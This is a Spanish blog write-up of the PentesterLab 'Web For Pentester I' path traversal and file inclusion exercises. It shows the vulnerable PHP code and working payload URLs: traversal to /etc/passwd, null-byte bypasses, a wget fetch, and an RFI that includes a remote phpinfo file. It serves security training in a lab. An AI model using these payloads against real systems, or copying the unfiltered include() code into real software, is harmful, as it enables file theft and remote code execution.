[Pentesterlab write-up] Web For Pentester I - Path traversal, LFI & RFI

Seguimos con el lab 'Web For Pentester' de Pentesterlab, esta vez con los bloques de vulnerabilidades del tipo 'directory traversal' y 'file inclusion', por los que un atacante puede leer e incluso ejecutar código llamando a ficheros fuera del document root del servidor web (tanto en local como, en ocasiones, remoto) usando path relativos ("../") o completos, normalmente porque tampoco se filtra correctamente la entrada de datos del lado del cliente.

 

DIRECTORY TRAVERSAL

Como decimos la explotación de estas vulnerabilidades tiene como resultado el acceso a archivos que no deberían ser accesibles.

Al empezar con cada uno de estos ejercicios de dir o path traversal no tendréis el enlace directamente sino unas pequeñas imágenes/iconos, por lo que hay que leer el código fuente (o usar botón derecho y "copy image location") previamente.

Ejercicio 1

El primer enlace es http://pentesterlab/dirtrav/example1.php?file=hacker.png y si lo abrís con el navegador os mostrará el código html en lugar de la imagen, seguramente porque no se ha especificado el Content-Type.

SERVIDOR
<?php 

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();


?>

Como veis en el código del servidor no se filtra $file = $_GET['file']; por lo que explotar esta vulnerabilidad es trivial, simplemente añadiendo "../" unas cuantas veces para llegar hasta la raíz y, a partir de ahí, indicar las rutas y ficheros comunes o predecibles a leer. Eso sí, hay que tener en cuenta que podrás acceder a los ficheros con los permisos asignados al usuario que corre el servidor web, por lo que normalmente no podrás acceder a ficheros como por ejemplo /etc/shadow.

PAYLOAD:
http://pentesterlab/dirtrav/example1.php?file=../../../../../../../../etc/passwd

En este caso el navegador muestra directamente la salida, pero muchas veces nos tendremos que descargar previamente el fichero (cabecera Content-Disposition: attachment) y luego editarlo para ver su contenido. Para evitar la auténtica pesadez de hacer ésto, sobretodo cuando trabajemos con muchos ficheros podemos usar otras herramientas como wget:
wget -O - http://pentesterlab/dirtrav/example1.php?file=../../../../../../../../etc/passwd


Ejercicio 2

En el siguiente ejercicio veréis que se ha fijado el path donde se encuentra la imagen: http://pentesterlab/dirtrav/example2.php?file=/var/www/files/hacker.png.

Si revisáis el código veréis que se comprueba que en la petición debe existir ese full path:
<?php 


if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
    die();

if (!is_file($file))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($file) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($file));

$handle = fopen($file, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();


?>

por lo que podremos leer de igual forma el fichero passwd simplemente poniendo el path de la imagen al inicio en nuestro payload:

PAYLOAD
http://pentesterlab/dirtrav/example2.php?file=/var/www/files/../../../../etc/passwd

Ejercicio 3

En el último ejercicio se fuerza además a que la extensión del fichero de imagen sea .png:

SERVIDOR
<?php 
$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();


?>

Existe una vieja vulnerabilidad sobretodo en versiones viejas de PHP (hasta la 5.3.4) y perl que permite anular el procesamiento del resto de una cadena a partir de un byte nulo (codificado). Es decir, podremos cargar un payload que contenga el path de la imagen y la extensión de la imagen indicada en el código PHP pero, al contener el carácter, el proceso en el filesystem ignorará el resto de la cadena, pudiendo acceder a otros archivos sin la extensión .png.

En el código del ejercicio se simula mediante una función preg_replace (anula también la necesidad de indicar el full path), con lo que sólo podremos usar nuestro payload con null byte:

PAYLOAD
http://pentesterlab/dirtrav/example3.php?file=../../../../etc/passwd.png%2500

FILE INCLUDE

El siguiente tipo de vulnerabilidad es debida a un control deficiente a la hora de manejar llamadas a funciones como require, require_once, include o include_once en php, que los desarrolladores utilizan para cargar código que se necesita reusar en múltiples páginas de la aplicación web. Si existe esta vulnerabilidad un atacante podría ser capaz sustituir el fichero original por otro, de tal manera que podría llegar a:
- leer cualquier archivo local del filesystem (path traversal)
- leer y, si tiene código interpretable por el servidor web, ejecutar cualquier archivo local del filesystem (local file inclusion o LFI)
- leer y, si tiene código interpretable por el servidor web, ejecutar cualquier archivo remoto externo (remote file inclusion o RFI).

Ejercicio 1

En el primer ejercicio obtendremos el siguiente error al inyectar cualquier carácter, por ej. una comilla:


Como veis obtenemos información de la ruta completa donde está el script (/var/www/fileincl/example1.php), la función utilizada (include ()) y que el valor que espera es el fichero intro.php. Y si echáis un ojo al código del servidor veréis que la prueba de concepto no puede ser más simple:

SERVIDOR
<?php
    if ($_GET["page"]) {
        include($_GET["page"]);
    } 
?>

Así que como no hay ningún tipo de filtro podremos inyectar sin ninguna restricción:

PAYLOAD 1 (path o dir traversal)
http://pentesterlab/fileincl/example1.php?page=../../../../../etc/passwd

Por otro lado, para la PoC para el RFI basta con buscar por ejemplo un fichero de txt accesible desde Internet con una simple función phpinfo:

Código
<?php 
phpinfo();
?>

Ej. http://www.spenneberg.org/phpinfo.txt

PAYLOAD 2 (RFI)
http://pentesterlab/fileincl/example1.php?page=http://www.spenneberg.org/phpinfo.txt


Ejercicio 2

El segundo ejercicio es similar a lo que vimos anteriormente en los ejercicios de dir traversal, en cuanto a que es una simulación para ser vulnerable a la inyección de null bytes, aspecto que recordamos fue solventado desde la versión 5.3.4 de PHP.

SERVIDOR
<?php
    if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/\x00.*/',"",$file);
        include($file);

    } 
?>

PAYLOAD 1 (path o dir traversal)
http://pentesterlab/fileincl/example2.php?page=../../../../../etc/passwd%2500

PAYLOAD 2 (RFI)
http://pentesterlab/fileincl/example1.php?page=http://www.spenneberg.org/phpinfo.txt%2500

 [Pentesterlab write-ups by Hackplayers] Web For Pentester I:

XSS
SQL Injections
Path traversal, LFI & RFI
Code & Commands Injection
File upload. LDAP & XML attacks

Comentarios

  1. Muy buena esta serie Vicente.
    Solo quería indicar que para explotar la vulnerabilidad en el ejercicio 3 del Path Traversal, yo he tenido que hacerlo así:

    http://pentesterlab/dirtrav/example3.php?file=../../../../etc/passwd.png, con %2500 no me ha funcionado. :)

    ResponderEliminar

Publicar un comentario